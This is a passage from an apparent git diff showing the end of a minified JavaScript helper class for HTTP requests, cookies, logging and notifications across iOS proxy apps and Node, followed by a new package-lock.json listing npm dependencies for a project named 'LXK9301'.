this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..4a628fe --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1490 @@ +{ + "name": "LXK9301", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@sindresorhus/is": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz", + "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow==" + }, + "@szmarczak/http-timer": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz", + "integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==", + "requires": { + "defer-to-connect": "^2.0.0" + } + }, + "@types/cacheable-request": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz", + "integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==", + "requires": { + "@types/http-cache-semantics": "*", + "@types/keyv": "*", + "@types/node": "*", + "@types/responselike": "*" + } + }, + "@types/http-cache-semantics": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz", + "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==" + }, + "@types/keyv": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz", + "integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==", + "requires": { + "@types/node": "*" + } + }, + "@types/node": { + "version": "14.14.6", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.6.tgz", + "integrity": "sha512-6QlRuqsQ/Ox/aJEQWBEJG7A9+u7oSYl3mem/K8IzxXG/kAGbV1YPD9Bg9Zw3vyxC/YP+zONKwy8hGkSt1jxFMw==" + }, + "@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "requires": { + "@types/node": "*" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "archive-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz", + "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=", + "requires": { + "file-type": "^4.2.0" + }, + "dependencies": { + "file-type": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz", + "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU=" + } + } + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "requires": { + "lodash": "^4.17.14" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" + }, + "base64-js": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz", + "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==" + }, + "basic-auth": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz", + "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ=" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==" + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=" + }, + "cacheable-lookup": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.3.tgz", + "integrity": "sha512-W+JBqF9SWe18A72XFzN/V/CULFzPm7sBXzzR6ekkE+3tLG72wFZrBiBZhrZuDoYexop4PHJVdFAKb/Nj9+tm9w==" + }, + "cacheable-request": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz", + "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=", + "requires": { + "clone-response": "1.0.2", + "get-stream": "3.0.0", + "http-cache-semantics": "3.8.1", + "keyv": "3.0.0", + "lowercase-keys": "1.0.0", + "normalize-url": "2.0.1", + "responselike": "1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "lowercase-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz", + "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY=" + } + } + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + }, + "corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=" + }, + "crypto-js": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.0.0.tgz", + "integrity": "sha512-bzHZN8Pn+gS7DQA6n+iUmBfl0hO5DJq++QP3U6uTucDtk/0iGpXd/Gg7CGR0p8tJhofJyaKoWBuJI4eAO00BBg==" + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==" + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=", + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek=" + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "defer-to-connect": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.0.tgz", + "integrity": "sha512-bYL2d05vOSf1JEZNx5vSAtPuBMkX8K9EUutg7zlKvTqKXHt7RhWJFbmd7qakVuf13i+IkGmp6FwSsONOf6VYIg==" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "download": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz", + "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==", + "requires": { + "archive-type": "^4.0.0", + "content-disposition": "^0.5.2", + "decompress": "^4.2.1", + "ext-name": "^5.0.0", + "file-type": "^11.1.0", + "filenamify": "^3.0.0", + "get-stream": "^4.1.0", + "got": "^8.3.1", + "make-dir": "^2.1.0", + "p-event": "^2.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "got": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz", + "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==", + "requires": { + "@sindresorhus/is": "^0.7.0", + "cacheable-request": "^2.1.1", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "into-stream": "^3.1.0", + "is-retry-allowed": "^1.1.0", + "isurl": "^1.0.0-alpha5", + "lowercase-keys": "^1.0.0", + "mimic-response": "^1.0.0", + "p-cancelable": "^0.4.0", + "p-timeout": "^2.0.1", + "pify": "^3.0.0", + "safe-buffer": "^5.1.1", + "timed-out": "^4.0.1", + "url-parse-lax": "^3.0.0", + "url-to-options": "^1.0.1" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + } + } + }, + "duplexer3": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "ecstatic": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz", + "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==", + "requires": { + "he": "^1.1.1", + "mime": "^1.6.0", + "minimist": "^1.1.0", + "url-join": "^2.0.5" + } + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "ext-list": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz", + "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==", + "requires": { + "mime-db": "^1.28.0" + } + }, + "ext-name": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz", + "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==", + "requires": { + "ext-list": "^2.0.0", + "sort-keys-length": "^1.0.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "requires": { + "pend": "~1.2.0" + } + }, + "file-type": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz", + "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g==" + }, + "filename-reserved-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", + "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=" + }, + "filenamify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz", + "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==", + "requires": { + "filename-reserved-regex": "^2.0.0", + "strip-outer": "^1.0.0", + "trim-repeated": "^1.0.0" + } + }, + "follow-redirects": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.13.0.tgz", + "integrity": "sha512-aq6gF1BEKje4a9i9+5jimNFIpq4Q1WiwBToeRK5NvZBd/TRsmW8BsJfOEGkr76TbOyPVD3OVDN910EcUNtRYEA==" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, + "form-data": { + "version": "2.3.3", + 